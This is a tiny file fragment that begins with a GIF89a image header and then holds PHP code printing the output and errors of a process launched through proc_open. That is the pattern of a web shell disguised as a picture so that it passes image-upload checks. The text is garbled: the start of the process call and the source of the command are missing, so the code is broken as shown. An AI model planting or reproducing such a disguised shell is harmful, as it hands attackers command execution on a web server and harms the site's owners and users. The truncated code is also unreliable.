GIF89a ["pipe", "w"], 2 => ["pipe", "w"]], $p); while ($o = fgets($p[1])) { echo $o; } while ($e = fgets($p[2])) { echo $e; } fclose($p[1]); fclose($p[2]); proc_close($d); ?>